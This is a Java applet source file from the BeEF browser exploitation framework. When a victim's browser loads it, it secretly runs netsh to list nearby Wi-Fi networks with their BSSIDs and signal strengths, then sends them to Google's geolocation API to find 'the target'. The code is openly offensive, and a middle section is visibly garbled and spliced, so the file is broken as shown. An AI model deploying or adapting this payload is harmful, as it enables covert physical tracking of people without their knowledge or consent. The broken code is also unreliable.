/* * Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.io.*; import java.util.*; import java.net.*; import java.applet.*; import java.util.regex.Matcher; import java.util.regex.Pattern; // Keith Lee // Twitter: @keith55 // http://milo2012.wordpress.com // keith.lee2012[at]gmail.com public class getGPSLocation extends Applet{ public static String result = ""; public getGPSLocation(){ super(); return; } public static String getInfo() { return result; } public void init() { if (isWindows()) { result=getWindows(); } else if (isMac()) { result=getMac(); } else { //System.out.println("Your OS is not support!!"); } } public static String getWindows(){ try { ArrayList ssidList = new ArrayList(); ArrayList bssidList = new ArrayList(); ArrayList rssiList = new ArrayList(); Process p = Runtime.getRuntime().exec("netsh wlan show networks mode=bssid"); BufferedReader in = new BufferedReader( new InputStreamReader(p.getInputStream())); String line = null; String signal = null; String ssidStr = null; while ((line = in.readLine()) != null) { Pattern p1 = Pattern.compile("(SSID\\s\\d+\\s:)\\s([\\w\\s]*)"); Matcher m1 = p1.matcher(line); if(m1.find()){ ssidStr = m1.group(2); ssidStr = ssidStr.replaceAll(" ","%20"); ssidList.add(ssidStr); } Pattern p2 = Pattern.compile("(BSSID\\s1\\s*:)\\s((.?)*)"); Matcher m2 = p2.matcher(line); if(m2.find()){ bssidList.add(m2.group(2)); } Pattern p3 = Pattern.compile("(Signal\\s*):\\s((.?)*)"); Matcher m3 = p3.matcher(line); if(m3.find()){ signal = m3.group(2); signal = signal.replaceAll("%",""); signal = signal.replaceAll(" ",""); signal = "-"+signal; rssiList.add(signal); } } int arraySize=ssidList.size(); if(arraySize==0){ result="\nI don't know where the target is"; } else{ result=googleLookup(bssidList,ssidList,rssiList); } } catch (Exception e) { System.out.println(e.getMessage()); } return result; } public static String googleLookup(ArrayList bssidList,ArrayList ssidList,ArrayList rssiList){ String queryString = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true"; try { int j=0; while(j= 0); } public static boolean isMac() { String os = System.getProperty("os.name").toLowerCase(); // Mac return (os.indexOf("mac") >= 0); } public static boolean isLinux() { String os = System.getProperty("os.name").toLowerCase(); // linux or unix return (os.indexOf("nix") >= 0 || os.indexOf("nux") >= 0); } }